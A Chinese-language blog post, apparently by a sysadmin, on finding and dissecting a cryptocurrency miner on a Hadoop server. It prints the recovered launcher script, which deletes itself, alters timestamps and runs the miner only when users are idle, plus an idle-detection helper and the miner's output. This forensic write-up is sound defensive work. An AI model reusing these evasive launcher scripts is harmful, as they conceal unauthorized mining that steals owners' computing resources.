又是一个病毒?
某一天,我ssh到服务器上,下意识的输入了htop
命令,我的天哪!CPU要爆了
这个 htral -t 12
居然几乎用掉了所有的CPU,这是hadoop用户的进程,这个用户是禁止外网访问的,而且平常也没有出现过这个进程。很奇怪。
咦,等等。。。这是怎么回事,CPU占用正在下降,这个进程在逐渐消失,为什么!在我还没有反应过来的时候这个进程已经彻底消失了!不过几分钟而已,一切又归于平静,好像什么都没有发生过一样。
我不甘心,我很怀疑,过了一段时间,我又试了一次还是这样的
ps aux | grep htral
# 找父进程
ps ef | grep htral
# 既然是hadoop用户的话
ps aux | grep hadoop
# 结果,确实运行着一个奇怪的文件
hadoop 30566 0.0 0.0 106096 1328 ? S 00:00 0:00 /bin/bash /home/hadoop/.cache/anacache
# 查找文件, 没有该文件!!
cd /home/hadoop/.cache
ll
# 果然文件已经被删除了
lsof | grep anaache
# 不过进程还在
cd /proc/30566/fd
ll
# 居然还创建了一个管道文件
lr-x------. 1 hadoop hadoop 64 4月 9 14:07 0 -> /dev/null
l-wx------. 1 hadoop hadoop 64 4月 9 14:07 1 -> /dev/null
l-wx------. 1 hadoop hadoop 64 4月 9 14:07 2 -> /dev/null
lr-x------. 1 hadoop hadoop 64 4月 9 14:07 255 -> /home/hadoop/.cache/anacache (deleted)
lrwx------. 1 hadoop hadoop 64 4月 9 14:07 3 -> /tmp/fifo
# 恢复文件anacache
cat 255 > /home/left/anacache
解析文件
#!/bin/bash
export PATH=$PATH/usr/bin:/bin:/usr/local/bin:.:/usr:.
PATH=$PATH/usr/bin:/bin:/usr/local/bin:.:/usr:.
rm -rf ~/.cache/anacache
touch -acmr /bin/login ~/.cache
while :; do
TIME=$(date '+%H%M%S')
if [ $TIME -ge 90000 -a $TIME -le 91000 ]
then
#if working hours
mkfifo /tmp/fifo
exec 3<> /tmp/fifo
killall -9 "htral" 2>/dev/null
/usr/bin/killall -9 "htral" 2>/dev/null
read -t 60 -u 3 var
else
#if mining hours
mkfifo /tmp/fifo
exec 3<> /tmp/fifo
killall -9 "htral" 2>/dev/null
/usr/bin/killall -9 "htral" 2>/dev/null
read -t 2 -u 3 var
count=$(~/.local/ct)
if [ $count -lt 3600 ]
then
killall -9 "htral" 2>/dev/null
/usr/bin/killall -9 "htral" 2>/dev/null
read -t 600 -u 3 var
else
killall -9 "htral" 2>/dev/null
/usr/bin/killall -9 "htral" 2>/dev/null
cp -f ~/.local/hrun ~/.cache/htral 2>/dev/null
cd ~/.cache;./"htral" -t `cat ~/.cache/mcpu` 2>/dev/null
rm -rf ~/.cache/htral 2>/dev/null
rm -rf "htral" 2>/dev/null
touch -acmr /bin/login ~/.cache
read -t 300 -u 3 var
fi
fi
done
文件第一步,就把自己给删了!同时改变了所处文件夹的时间戳!隐藏了自己的行为
程序中还制作了一个管道文件,但是从未向管道中写入输入,并且即便是写入数据,也没有使用它,我判断是用来做进程暂停用的通过read -t xxx -u 3 var
让进程暂停xxx
秒
程序中的这部分
count=$(~/.local/ct)
万幸的是这个文件并没有被删掉
#!/bin/bash
export PATH=$PATH/usr/bin:/bin:/usr/local/bin:.:/usr:.
PATH=$PATH/usr/bin:/bin:/usr/local/bin:.:/usr:.
w |awk '{
if (NR!=1){
if($5 ~ /days/){
split($5,d,"days");
print d[1]*86400" "
}
else if( $5 ~ /:|s/){
if ($5 ~/s/) { sub(/s/,"",$5); split($5,s,"."); print s[1]" " }
else if ( $5 ~/m/) { split($5,m,":"); print (m[1]*60+m[2])*60" " }
else { split($5,m,":"); print m[1]*60+m[2]" " }
}
}}'|sort -n|head -1
这个程序的功能就是,监视用户登录,将w
命令的IDLE
字段提取出来,并进行排序
IDLE
这个字段,如果用户ssh登录的话,其值一般来说都是很小的。
但是有些特殊情况,这个字段的值会很大,例如VNC
登录,打开了一些应用,然后没有关掉应用就退出了VNC
这样你就会看到这个字段的值很大。
count=$(~/.local/ct)
if [ $count -lt 3600 ]
...
所以这段程序的意思就是,如果你有长期的非SSH登录执行的任务的话,它就启动
意思就是,你布置了任务,只要你不监视,就给你搞破坏!!
但是htral
具体执行了什么命令,我并只知道,虽然有这个程序,但是是2进制的
但是我们可以自己执行这个程序,来观察这个程序的行为
# 执行程序
./hrun -t 1
# 程序的输出
[2016-04-09 15:25:35] Using JSON-RPC 2.0
[2016-04-09 15:25:35] Starting Logrotation
[2016-04-09 15:25:35] 1 miner threads started, using 'cryptonight' algorithm.
[root@slave04 .local]# [2016-04-09 15:25:36] Pool set diff to 5000
[2016-04-09 15:25:36] Stratum detected new block
[2016-04-09 15:25:47] Stratum detected new block
百度了一下Stratum
原来这是一个协议,比特币挖掘使用了这个协议,擦!!结合程序的注释,我好像明白了,有人在使用我们的服务器进行比特币的挖掘!!